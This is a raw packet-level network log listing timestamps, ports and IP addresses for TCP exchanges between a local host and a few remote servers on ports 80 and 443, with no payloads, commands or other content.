Dec 18, 2024 12:00:25.931121111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.931224108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.959927082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.959989071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.960026979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.960072041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.960177898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.960218906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.960329056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.960452080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.960503101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.961134911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.961183071 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.961216927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.961267948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.961843014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.961905003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.962085962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.962167978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.962201118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.962243080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.962726116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.962795973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.962852001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.963486910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.963543892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.963581085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.963624954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.964240074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.964307070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.964508057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.964557886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.964615107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.964802027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.965224981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.965271950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.965315104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.965380907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.965985060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.966015100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.966031075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.966058969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.966715097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.966763020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.966989040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.967046976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.967080116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.967122078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.967824936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.967879057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.967892885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.967930079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.968314886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.968388081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.968431950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.969193935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.969203949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:25.969245911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.969278097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:25.994333982 CET	80	49960	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:25.994414091 CET	49960	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:26.036597967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.036803007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.036819935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.036855936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.037019968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.037065029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.037106991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.037205935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.037220001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.037240982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.037811995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.037858009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.037933111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.037971020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.038511038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.038568020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.039150000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.039195061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.039275885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.039318085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.039460897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.039509058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.039587021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.039632082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.040219069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.040307045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.040344954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.040390015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.041033983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.041091919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.041275024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.041362047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.041374922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.041471958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.042211056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.042222977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.042278051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.042747021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.042876959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.042884111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.042985916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.043486118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.043541908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.051054955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.051116943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.051176071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.051215887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.051522970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.051567078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.051599979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.051645994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.052602053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.052648067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.052750111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.052808046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.053726912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.053767920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.053855896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.053895950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.054783106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.054838896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.054852009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.054894924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.055905104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.056001902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.056006908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.056071043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.057010889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.057079077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.057195902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.057243109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.058038950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.058110952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.058165073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.058202982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.059154987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.059216022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.059298992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.059372902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.060273886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.060292959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.060344934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.061362028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.061436892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.061553001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.061706066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.062477112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.062525988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.062541962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.062568903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.063534975 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.063582897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.063677073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.063721895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.064702034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.064776897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.064954996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.065015078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.065764904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.065860033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.065896988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.066004992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.066869020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.066920042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.066946983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.066988945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.067985058 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.068070889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.068078995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.068180084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.069029093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.069076061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.069082022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.069118023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.070121050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.070430040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.070478916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.071266890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.071321964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.071441889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.071486950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.072345018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.072357893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.072396994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.072417021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.073435068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.073577881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.073625088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.074527025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.074575901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.074605942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.074675083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.075647116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.075716972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.075782061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.075828075 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.076730967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.076817989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.076888084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.077766895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.077814102 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.077869892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.077912092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.078949928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.079020023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.079052925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.079093933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.079998970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.080070972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.080101967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.080144882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.081084967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.081146955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.081176996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.081243038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.082200050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.082264900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.082293034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.082330942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.083478928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.083540916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.083585024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.083758116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.084374905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.084430933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.084542036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.084595919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.085505009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.085581064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.085607052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.085621119 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.086581945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.086633921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.086734056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.086891890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.087737083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.087794065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.087817907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.087860107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.088773966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.088829041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.088855982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.088900089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.089867115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.089930058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.090043068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.090152979 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:26.090188980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.090240955 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:26.090996027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.091053963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.091109991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.091150045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.091414928 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:26.091425896 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:26.091658115 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:26.092106104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.092154980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.092259884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.092319965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.092904091 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:26.093003035 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:26.093041897 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:26.093118906 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:26.093125105 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:26.093215942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.093262911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.093281984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.093298912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.094259024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.094347000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.094368935 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.094414949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.095357895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.095433950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.095452070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.095613003 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.096441984 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.096498013 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.096532106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.096574068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.097553015 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.097599030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.097625017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.097637892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.098692894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.098751068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.098754883 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.098792076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.099807978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.099863052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.099886894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.099900007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.100827932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.100889921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.100946903 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.100961924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.101016045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.101138115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.101162910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.101200104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.101419926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.101526022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.101579905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.101934910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.101984978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.102072001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.102118015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.102127075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.102139950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.102170944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.102197886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.102843046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.102936029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.102972984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.102972984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.103049994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.103111029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.103161097 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.103610992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.103672981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.103708982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.103755951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.104089022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.104204893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.104232073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.104245901 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.104363918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.104417086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.104441881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.104485035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.105139971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.105214119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.105226994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.105237007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.105257034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.105381966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.105405092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.105438948 CET	49950	80	192.168.2.6	185.215.113.16
